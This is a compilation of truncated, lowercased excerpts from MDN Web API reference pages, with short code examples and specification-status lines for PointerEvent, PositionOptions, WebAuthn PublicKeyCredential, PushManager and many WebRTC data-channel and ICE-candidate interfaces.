... recommendation non-stable version.
PointerEvent.pointerId - Web APIs
let id; // let's assume that this is a previously saved pointerid target.addeventlistener('pointerdown', function(event) { // compare previous event's id that was cached // to current event's id and handle accordingly if (id === event.pointerid) process_event(event); }, false); specifications specification status comment pointer events – level 2the definition of 'pointerid' in that specification.
... recommendation non-stable version.
PointerEvent.pointerType - Web APIs
ter type handler switch (event.pointertype) { case 'mouse': process_pointer_mouse(event); break; case 'pen': process_pointer_pen(event); break; case 'touch': process_pointer_touch(event); break; default: console.log(`pointertype ${event.pointertype} is not suported`); } }, false); specifications specification status comment pointer eventsthe definition of 'pointertype' in that specification.
... recommendation non-stable version.
PointerEvent.pressure - Web APIs
someelement.addeventlistener('pointerdown', function(event) { if (event.pressure == 0) { // no pressure process_no_pressure(event); } else if (event.pressure == 1) { // maximum pressure process_max_pressure(event); } else { // default process_pressure(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'pressure' in that specification.
... recommendation non-stable version.
PointerEvent.tangentialPressure - Web APIs
someelement.addeventlistener('pointerdown', function(event) { if (event.tangentialpressure == 0) { // no pressure process_no_tanpressure(event); } else if (event.tangentialpressure == 1) { // maximum pressure process_max_tanpressure(event); } else { // default process_tanpressure(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'tangentialpressure' in that specification.
... recommendation ...
PointerEvent.tiltX - Web APIs
someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tiltx' in that specification.
... recommendation non-stable version.
PointerEvent.tiltY - Web APIs
someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tilty' in that specification.
... recommendation non-stable version.
PointerEvent.twist - Web APIs
someelement.addeventlistener('pointerdown', function(event) { if (event.twist == 0) { // no twist process_no_twist(event); } else { // default process_twist(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'twist' in that specification.
... recommendation ...
PointerEvent.width - Web APIs
target.addeventlistener("pointerdown", function(ev) { // calculate the contact area var area = ev.width * ev.height; }, false); specifications specification status comment pointer events – level 2the definition of 'width' in that specification.
... recommendation non-stable version.
PointerEvent - Web APIs
specifications specification status comment pointer events – level 3the definition of 'pointerevent' in that specification.
... recommendation added the twist and tangentialpressure properties.
PositionOptions.enableHighAccuracy - Web APIs
syntax positionoptions.enablehighaccuracy = booleanvalue specifications specification status comment geolocation apithe definition of 'positionoptions.enablehighaccuracy' in that specification.
... recommendation initial definition ...
PositionOptions.maximumAge - Web APIs
syntax positionoptions.maximumage = timelength specifications specification status comment geolocation apithe definition of 'positionoptions.maximumage' in that specification.
... recommendation initial definition ...
PositionOptions.timeout - Web APIs
syntax positionoptions.timeout = timelength specifications specification status comment geolocation apithe definition of 'positionoptions.timeout' in that specification.
... recommendation initial definition ...
PositionOptions - Web APIs
specifications specification status comment geolocation apithe definition of 'positionoptions' in that specification.
... recommendation initial definition ...
PublicKeyCredential.getClientExtensionResults() - Web APIs
lic-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var mybuffer = newcredentialinfo.getclientextensionresults(); // mybuffer will contain the result of any of the processing of the "loc" and "uvi" extensions }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'getclientextensionresults()' in that specification.
... recommendation initial definition.
PublicKeyCredential.id - Web APIs
navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var id = newcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'id' in that specification.
... recommendation specified in the context of publickeycredential.
PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() - Web APIs
) .then(function(available){ if(available){ // we can proceed with the creation of a publickeycredential // with this authenticator } else { // use another kind of authenticator or a classical login/password // workflow } }).catch(function(err){ // something went wrong console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'isuserverifyingplatformauthenticatoravailable' in that specification.
... recommendation initial definition.
PublicKeyCredential.rawId - Web APIs
ple.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var rawid = pubkeycredential.rawid; // do something with rawid }).catch(function (err) { // deal with any error }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rawid' in that specification.
... recommendation initial definition.
PublicKeyCredential.response - Web APIs
blickey: options }) .then(function (pubkeycredential) { var response = pubkeycredential.response; var clientextresults = pubkeycredential.getclientextensionresults(); // send response and client extensions to the server so that it can validate // and create credentials }).catch(function (err) { // deal with any error }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'response' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.attestation - Web APIs
arams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'attestation' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorselection' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.challenge - Web APIs
arams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.extensions - Web APIs
{ // mybuffer will contain the result of any of the processing of the extensions var mybuffer = newcredentialinfo.getclientextensionresults(); // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'extensions' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
/ name: "jdoe@example.com", displayname: "john doe", } }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'pubkeycredparams' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.rp - Web APIs
arams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rp' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.timeout - Web APIs
arams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.user - Web APIs
arams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'user' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions - Web APIs
redentialinfo.response; var clientextensionsoutputs = newcredentialinfo.getclientextensionsresults(); // send the response to the relying party server // it will verify the content and integrity before // creating a new credential }).catch(function (err) { // deal with any error properly console.error(err); });; specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredentialcreationoptions dictionary' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.challenge - Web APIs
var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.extensions - Web APIs
y yourself?" }, challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'extensions' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.rpId - Web APIs
k if the current domain // is something like foo.example.com }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rpid' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.timeout - Web APIs
e for the fetching operation // and maybe fail if it takes longer }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.userVerification - Web APIs
ion: "preferred", challenge: new uint8array([/* bytes sent from the server */]), }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'userverification' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions - Web APIs
erified loc: false, txauthsimple: "could you please verify yourself?" } }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredentialrequestoptions dictionary' in that specification.
... recommendation initial definition.
PushManager.subscribe() - Web APIs
log(error); } ); }); responding to user gestures subscribe() calls should be done in response to a user gesture, such as clicking a button, for example: btn.addeventlistener('click', function() { serviceworkerregistration.pushmanager.subscribe(options) .then(function(pushsubscription) { // handle subscription }); }) this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture.
... specifications specification status comment push apithe definition of 'subscribe()' in that specification.
RTCAnswerOptions - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcansweroptions' in that specification.
... candidate recommendation initial definition.
RTCConfiguration.bundlePolicy - Web APIs
let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], bundlepolicy: "max-compat" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.bundlepolicy' in that specification.
... candidate recommendation initial definition.
RTCConfiguration.certificates - Web APIs
<<<--- add link to information about identity --->>> examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.certificates' in that specification.
... candidate recommendation initial definition.
RTCConfiguration.iceTransportPolicy - Web APIs
let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], icetransportpolicy: "relay" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtccandidate.icetransportpolicy' in that specification.
... candidate recommendation initial definition.
RTCDTMFSender.insertDTMF() - Web APIs
example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmfsender.insertdtmf()' in that specification.
... candidate recommendation ...
RTCDTMFSender.ontonechange - Web APIs
example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'ontonechange' in that specification.
... candidate recommendation ...
RTCDTMFSender: tonechange event - Web APIs
"&lt;none&gt;"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontonechange event handler property directly: dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'tonechange' in that specification.
... candidate recommendation definition for the webrtc api ...
RTCDTMFToneChangeEvent.tone - Web APIs
dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent.tone' in that specification.
... candidate recommendation initial specification.
RTCDTMFToneChangeEvent - Web APIs
dtmfsender.addeventlistener("change", function(event) { if (event.tone !== "") { dialstringbox.innertext += event.tone; } else { senddtmfbutton.disabled = false; } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent' in that specification.
... candidate recommendation initial definition.
RTCDataChannel.binaryType - Web APIs
var dc = peerconnection.createdatachannel("binary"); dc.binarytype = "arraybuffer"; dc.onmessage = function(event) { let bytearray = new uint8array(event.data); let hexstring = ""; bytearray.foreach(function(byte) { hexstring += byte.tostring(16) + " "; }); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.binarytype' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.bufferedAmount - Web APIs
*/ function showbufferedamount(channel) { let el = document.getelementbyid("buffersize"); el.innerhtml = channel.bufferedamount + " bytes"; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.bufferedamount' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.bufferedAmountLowThreshold - Web APIs
var dc = peerconnection.createdatachannel("file transfer"); dc.bufferedamountlowthreshold = 65535; dc.onbufferedamountlow = function() { /* use send() to queue more data to be sent */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.bufferedamountlowthreshold' in that specification.
... candidate recommendation initial specification.
RTCDataChannel: bufferedamountlow event - Web APIs
you can also set up a listener for bufferedamountlow using its event handler property, onbufferedamountlow: pc.onbufferedamountlow = ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'bufferedamountlow' in that specification.
... candidate recommendation ...
RTCDataChannel.close() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.close()' in that specification.
... candidate recommendation initial specification.
RTCDataChannel: close event - Web APIs
you can also use the onclose event handler property to set a handler for close events: dc.onclose = ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'close' in that specification.
... candidate recommendation initial specification.
RTCDataChannel: error event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'error event' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.id - Web APIs
WebAPIRTCDataChannelid
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); console.log("channel id: " + dc.id); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.id' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.label - Web APIs
*/ document.getelementbyid("channel-name").innerhtml = "<span class='channelname'>" + dc.label + "</span>"; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.label' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.maxPacketLifeTime - Web APIs
example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxpacketlifetime' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.maxRetransmits - Web APIs
example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxretransmits' in that specification.
... candidate recommendation initial specification.
RTCDataChannel: message event - Web APIs
you can also use an rtcdatachannel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'the <code>message</code> event' in that specification.
... candidate recommendation ...
RTCDataChannel.negotiated - Web APIs
if (datachannel.negotiated) { shutdownremotechannel(datachannel.id); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.negotiated' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onbufferedamountlow - Web APIs
*/ dc.onbufferedamountlow = function() { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onbufferedamountlow' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onclose - Web APIs
*/ specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onclose' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onclosing - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onclosing' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onerror - Web APIs
*/ specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onerror' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onmessage - Web APIs
let pc = new rtcpeerconnection(); let dc = pc.createdatachannel(); dc.onmessage = function(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onmessage' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onopen - Web APIs
let dc = mypeerconnection.createdatachannel("message channel"); dc.onopen = function(event) { let messagebox = document.getelementbyid("messagebox"); let sendbutton = document.getelementbyid("sendbutton"); messagebox.disabled = false; messagebox.focus(); sendbutton.disabled = false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onopen' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.ordered - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); if (!dc.ordered) { // handle unordered messaging } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.ordered' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.protocol - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel", { protocol: "json" }); function handlechannelmessage(datachannel, msg) { switch(datachannel.protocol) { case "json": /* process json data */ break; case "raw": /* process raw binary data */ break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.protocol' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.readyState - Web APIs
attempt to send while connection closed."); break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.readystate' in that specification.
... candidate recommendation initial specification.
RTCDataChannelEvent() - Web APIs
var event = new rtcdatachannelevent("datachannel", {"channel": dc}); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent' in that specification.
... candidate recommendation initial specification.
RTCDataChannelEvent.channel - Web APIs
pc.ondatachannel = function(event) { inbounddatachannel = event.channel; inbounddatachannel.onmessage = handleincomingmessage; inbounddatachannel.onopen = handlechannelopen; inbounddatachannel.onclose = handlechannelclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent.channel' in that specification.
... candidate recommendation initial specification.
RTCDataChannelEvent - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent' in that specification.
... candidate recommendation initial definition.
RTCDtlsTransport.iceTransport - Web APIs
examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtlstransport.icetransport' in that specification.
... candidate recommendation initial definition.
RTCDtlsTransport.state - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtlstransport.state' in that specification.
... candidate recommendation initial definition.
RTCError - Web APIs
WebAPIRTCError
you can also use the rtcdatachannel object's onerror event handler property, like this: datachannel.onerror = (event) => { let error = event.error; /* and so forth */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerror' in that specification.
... candidate recommendation initial definition.
RTCErrorEvent.error - Web APIs
you can also use the rtcdatachannel object's onerror event handler property, like this: datachannel.onerror = (event) => { let error = event.error; /* and so forth */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerrorevent.error' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.address - Web APIs
if (ipbanlist.includes(candidate.address)) { rejectcandidate(candidate); } else { acceptcandidate(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate: address' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.candidate - Web APIs
this example could be simplified somewhat; you may more often see the code look something like this, taking advantage of more advanced ecmascript 2016 features: let handlenewicecandidate = candidatesdp => mypeerconnection.addicecandidate(new rtcicecandidate(candidatesdp)); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.candidate' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.component - Web APIs
if (candidate.component == "rtp") { handlertpcandidate(candidate); } else if (candidate.component == "rtcp") { handlertcpcandidate(candidate); } else { handleunknowncandidate(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.component' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.foundation - Web APIs
if (candidate1.foundation == candidate2.foundation) { /* the two candidates are the same, even if they're on different transports */ } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.foundation' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.port - Web APIs
var candidateloc = { address: candidate.ip, port: candidate.port } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.port' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.priority - Web APIs
var bestcandidate = { candidate: "", sdpmid: null, sdpmlineindex: null, priority: 0 }; function handlecandidate(candidatestring) { var candidate = new rtcicecandidate(candidatestring); if (candidate.priority > bestcandidate.priority) { bestcandidate = candidate; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.priority' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.protocol - Web APIs
if (candidate.protocol == "tcp") { if (candidate.tcptype == "so") { adjustforsimultaneousopen(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.protocol' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.sdpMLineIndex - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.sdpmlineindex' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.sdpMid - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.sdpmid' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.tcpType - Web APIs
if (candidate.protocol == "tcp" && candidate.tcptype == "so") { adjustforsimultaneousopen(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.tcptype' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate. toJSON() - Web APIs
var jsonstring = candidate.tojson().stringify(); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.tojson()' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.type - Web APIs
if (candidate.type == "host") { showhostcontrols(); } else { hidehostcontrols(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.type' in that specification.
... candidate recommendation initial definition.
RTCIceCandidateInit.candidate - Web APIs
that usage would change the above sample to look like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate(msg.candidate); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.candidate' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateInit.sdpMLineIndex - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.sdpmlineindex' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateInit.sdpMid - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.sdpmid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateInit - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit' in that specification.
... candidate recommendation initial definition.
RTCIceCandidatePair.local - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatepair.local' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePair.remote - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatepair.remote' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePair - Web APIs
getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatepair' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.availableIncomingBitrate - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.availableincomingbitrate' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.availableOutgoingBitrate - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.availableoutgoingbitrate' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.bytesReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.bytesreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.bytesSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.bytessent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.circuitBreakerTriggerCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.circuitbreakertriggercount' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.consentRequestsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.consentrequestssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.currentroundtriptime' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.firstRequestTimestamp - Web APIs
you can use this value in combination with lastrequesttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.firstrequesttimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.lastPacketReceivedTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastpacketreceivedtimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.lastPacketSentTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastpacketsenttimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.lastRequestTimestamp - Web APIs
you can use this value in combination with firstrequesttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastrequesttimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.lastResponseTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastresponsetimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.localCandidateId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.localcandidateid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.nominated - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.nominated' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.packetsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.packetsreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.packetsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.packetssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.priority - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.priority' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.remoteCandidateId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.remotecandidateid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.requestsReceived - Web APIs
